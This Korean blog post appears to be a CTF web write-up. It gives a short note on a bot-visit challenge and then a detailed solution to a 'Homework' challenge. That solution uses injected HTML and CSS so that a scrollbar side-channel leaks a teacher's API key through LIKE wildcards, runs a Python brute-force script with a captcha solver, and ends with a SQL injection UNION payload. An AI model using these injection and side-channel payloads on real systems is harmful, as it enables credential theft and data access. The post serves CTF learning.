Yapper catcher
/yapper경로에서 &id= 내id값을 해주면
봇은 visit함수를 통해
await page.goto('/?user=anything&id=b00b4be736db0976181cd87bcb1ac274')와 같은 경로로 이동하여

코드와같이 Quote과정에서 문자열중 <flag>부분을 실제플래그로 바꿔서 textarea부분에 값을 쓰게된다.
즉 나의 게시판의 url 에 접속해 글을쓰게 만들면 성공
req.param('id')로 되어있기에 url에서 id값받게가능

Homework
첫번째단계 선생님의 api-key값획득하기
routes.get('/mark', checkAuthz([ROLES.TeachingAssistant, ROLES.Teacher]), async (req, res) => {
try {
let { id, score } = req.query;
if (!id || !score || typeof id !== "string" || Number.isNaN(score)) return res.status(500).send("Invalid data");
score = Number(score);
if (score <= 0 || score > toDecoratedScore(100)) return res.status(500).send("Invalid data");
await sequelize.models.homework.update({ score: score }, { where: { id: id } });
return res.status(200).send("Score set successfully");
} catch (err) {
console.log(err);
return res.status(500).send("Unknown error");
}
});
mark 함수의 경우 선생님의 권한이 필요하고 임의의 숙제의 스코어값을 설정가능하다
routes.get('/avatar', checkAuthz([ROLES.TeachingAssistant, ROLES.Teacher]), async (req, res) => {
try {
let { c1, v1, c2, v2 } = req.query;
if (!c1 || !v1 || !c2 || !v2)
return res.status(500).send("Invalid data");
if (typeof c1 !== "string" || typeof v1 !== "string" || typeof c2 !== "string" || typeof v2 !== "string")
return res.status(500).send("Invalid data");
let users = await sequelize.models.user.findAll({
where: {
[Op.and]: [
{
[c1]: {
[Op.like]: v1
}
},
{
[c2]: {
[Op.like]: v2
}
},
{
role: {
[Op.gt]: 0
}
}
]
}
});
if (!users.length) return res.status(500).send("User not found");
let avatar_id = users[0].avatar_id;
if (Number.isInteger(avatar_id) && (0 <= avatar_id && avatar_id <= 2))
return res.sendFile(`/avatars/${avatar_id}.png`, { root: __dirname + '/../' });
return res.status(500).send("Invalid avatar");
} catch (err) {
console.log(err);
return res.status(500).send("Unknown error");
}
});
아바타의 인자값으로 쿼리를 조회해 해당 유저의 이미지를 뿌려준다. %같은 문자열이 차단이 안되기에 api-key가 5로시작한다면 5%로 조회시 성공적으로 조회가되어 이미지가 리턴될것이다.
이것을 이용해 사이드채널어택을 하는것이 문제다
여러방법이 있으나 그중 이미지가 로드되면 이미지자체를 크게만들고 5개의 의미지를 로드해서 스크롤바를 기준으로 판단하는 방식이다
이미지로드x->깨진이미지5개 스크롤바생성x
이미지로드o->큰 이미지 5개로 스크롤바 생성o
스크롤바가 생성되면 해당 값이 api-key값중 하나로 판단하여 점차 데이터를 얻어나가는방식으로 진행하면된다
import string
import time
import re
import requests
import sys
sys.path.append('SVG-Captcha-Solver-main')
from SVG_Captcha_Solver import SvgCaptchaSolver
founded = ""
scores = {}
base = "http://136.110.90.238:10001/"
test_id = "83eb28fb-f04e-45ec-9a7a-60f23c0d7b77"
current_score = 1337000
chrs = string.hexdigits
known = ""
IMG_REPEAT = 5
s = requests.Session()
headers = {
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
'Connection': 'keep-alive',
'Content-Type': 'application/json',
'Cookie': 'connect.sid=s%3AZiGd5xEdTwxSX1h8x8jqa8OcGJy1EnYZ.Zu2pmBejuCdLdM4j%2BqH%2Bc5PJnNv4s0TL0az9DYRDKaA',
'Host': '136.110.90.238:10001',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36',
'X-API-Key': '389b3972a75f234884fb'
}
json_headers = headers.copy()
json_headers['Content-Type'] = 'application/json'
urlencoded_headers = headers.copy()
urlencoded_headers['Content-Type'] = 'application/x-www-form-urlencoded'
while len(known) < 10:
print("test")
print(known)
for c in chrs:
current = known + c
payload = f'''<img src='/api/homework/mark?id={test_id}&score={current_score + 1}'><style>.lol{{overflow: auto;height: 500px}} .lol::-webkit-scrollbar{{background: url('/api/homework/mark?id={test_id}&score={current_score + 2}')}}</style><div class='lol'>{f"<img src='/api/user/avatar?c1=username&v1=teacher&c2=api_key&v2={current}%25'><br>"*IMG_REPEAT}</div>'''
while True:
response = s.post(f"{base}/api/homework/create", json={
"content": payload,
"title": "bar"
}, headers=headers)
if "created successfully" in response.text:
break
retry_after = int(response.headers.get("retry-after", 5))
time.sleep(retry_after)
_id = re.findall(r"Homework (.+) created successfully", response.text)[0]
print(_id)
while True:
r = s.get(base + "captcha")
open("captcha.svg", "wb").write(r.content)
captcha_val = SvgCaptchaSolver().solve_captcha("captcha.svg")
print(captcha_val)
r = s.post(base + "report", data={
"id": _id,
"captcha": str(captcha_val)
})
if "Your homework will be reviewed soon" in r.text:
print("hi")
break
time.sleep(20)
while True:
r = s.get(base + "api/homework/view",headers=headers, params={
"id": test_id
})
print(r.json())
score = r.json()["score"]
if score != current_score and score != 1337000:
break
time.sleep(5)
if score == current_score + 2:
current_score += 2
known = current
print(known)
break
current_score += 1
print("X " + current)

핵심페이로드이다.
첫번째이미지는 코드를 제대로짰는지 확인용으로 봇이 제대로읽었다면( page.setExtraHTTPHeaders() 로 api-key값이 있어서 src에도 헤더값에 apikey 가 포함된다.) 바로 score=1337001로 세팅될것이다.
이후 img 5개를 동일하게 위의 avatar에 요청을하여 api_key값이 조건에 맞는다면 style탭에서 설정해준 backgorund:url로 요청을 보내 score점수를 1337002로 세팅할것이다. 즉 1337002로 스코어가 설정됐을때 api_key값이 맞는것을 알수있고 이것을 이제 부르트포싱을 진행하면된다.
페이로드담은 과제 생성->봇한태요청->모니터링용 과제의점수를 확인 값이 증가됐으면 올바른 apikey로 판단하고 저장 및 다음 자릿수로 이동이 반복된다.
선생님의 api_key를 획득후
')=1 UNION SELECT NULL,1,'',$$,1--
를 통해 플래그를 획득하면 끝
'웹' 카테고리의 다른 글
| blackhat-mea 2025정리 (2) | 2025.09.11 |
|---|---|
| IERAE CTF 2025-web-풀이 (0) | 2025.06.21 |
| smileyCTF-web-공부 (1) | 2025.06.19 |
| smileyCTF-web-풀이 (1) | 2025.06.14 |
| N0PSctf-web-공부 (1) | 2025.06.04 |